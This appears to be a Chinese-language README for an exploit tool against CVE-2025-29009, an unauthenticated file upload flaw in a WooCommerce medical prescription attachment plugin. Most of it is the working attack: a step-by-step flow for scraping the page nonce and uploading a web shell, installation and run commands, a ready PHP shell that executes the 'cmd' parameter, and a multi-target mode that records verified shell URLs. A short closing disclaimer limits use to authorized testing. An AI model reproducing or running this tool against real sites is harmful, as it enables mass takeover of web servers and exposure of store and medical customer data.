WordPress Medical Prescription Attachment Plugin for WooCommerce 插件 <= 1.2.3 存在高优先级任意文件上传漏洞
,-. . , ,--. ,-. ,-. ,-. ;--' ,-. ,-. ,-. ,-. ,-.
/ | / | ) / /\ ) | ) ( ) / /\ / /\ ( )
| | / |- --- / | / | / `-. --- / `-'| | / | | / | `-'|
\ |/ | / \/ / / ) / / \/ / \/ / /
`-' ' `--' '--' `-' '--' `-' '--' `-' `-' `-' `-'
根本原因:
wkwcpa_handle_prescription_session AJAX 处理程序(action=wkwcpa_handle_prescription_session)通过 wkwc_pa_prescription_attachment[] 接受文件上传,未在服务端验证文件扩展名或 MIME 类型。未经身份验证的攻击者可以从公共 WooCommerce 商店页面(嵌入在 wkwcpaFrontObj JavaScript 对象中)提取 ajaxNonce,然后直接将 PHP Web Shell 上传到服务器的上传目录。响应返回上传文件的完整可访问 URL。
┌──────────────────────────────────────────────────────────────┐
│ 1. 解析首页 │
│ GET / → GET /shop/ → GET /product/ → GET /?wkwcpa=1│
│ │
│ 2. 提取 nonce │
│ 解析 wkwcpaFrontObj.ajax.ajaxUrl │
│ 解析 wkwcpaFrontObj.ajax.ajaxNonce │
│ │
│ 3. 上传 shell │
│ POST <ajaxUrl> │
│ action = wkwcpa_handle_prescription_session │
│ nonce = <ajaxNonce> │
│ type = upload │
│ wkwc_pa_prescription_attachment[] = shell.php │
│ │
│ 4. 解析响应 │
│ JSON → data.attachments_img_html[].src → shell URL │
│ │
│ 5. 验证 shell │
│ GET <shell_url> → 检查唯一签名 │
│ │
│ 6. 保存到 shells.txt │
└──────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-29009.git
cd CVE-2025-29009
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
创建你的 PHP Shell,并嵌入一个唯一签名字符串,以便工具验证执行成功:
<?php
// NxploitedShellOK
system($_GET['cmd']);
?>
保存为 shell.php,放在脚本所在目录。
字符串 NxploitedShellOK 即为签名 —— 它必须出现在 Shell 的响应中,验证才能通过。
python3 CVE-2025-29009.py
目标文件(默认 list.txt): list.txt
线程数(默认 10): 10
本地 shell 文件名(例如 shell.php): shell.php
唯一 shell 签名(例如 NxploitedShellOK): NxploitedShellOK
list.txthttps://target1.com
target2.com
http://target3.com
没有
http://或https://的目标会自动添加http://前缀。
| 文件 | 内容 |
|---|---|
shells.txt | 每行一个已验证的 Shell URL |
终端:
[SHELL] https://target.com/wp-content/uploads/2025/06/shell.php
[FAIL] https://target2.com (nonce_not_found)
[FAIL] https://target3.com (success_false)
[Status] 3/3 OK:1 FAIL:2
Nxploited
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
仅供授权的安全研究和教育使用。
作者不对用于不属于操作者所有或未获得明确书面许可进行测试的系统承担任何责任。
未经授权使用违反 CFAA、CMA 及全球等效法律。
您的行为由您自行负责。
© 2025 Nxploited · Medical Prescription Attachment ≤ 1.2.3 · 已在 1.2.4 中修复
| 字段 | 详情 |
|---|
| CVE | CVE-2025-29009 |
| 插件 | Webkul Medical Prescription Attachment Plugin for WooCommerce |
| 受影响版本 | 所有版本 ≤ 1.2.3 |
| 认证 | 无需认证 |
| 类型 | 无限制上传危险类型文件 → Web Shell 上传 |
| CWE | CWE-434 · 无限制上传危险类型文件 |
| 代码 | 含义 |
|---|
shell_file_missing | 工作目录下未找到 shell.php |
no_front_page | 没有候选页面返回 HTTP 200 |
nonce_not_found | 任何页面中均未出现 wkwcpaFrontObj |
upload_error | POST 期间网络错误 |
json_parse_error | 响应不是有效的 JSON |
success_false | 服务器返回 data.success = false |
no_attachments | 上传成功但响应中没有 URL |
shell_url_not_found | 无法从响应 HTML 中解析文件 URL |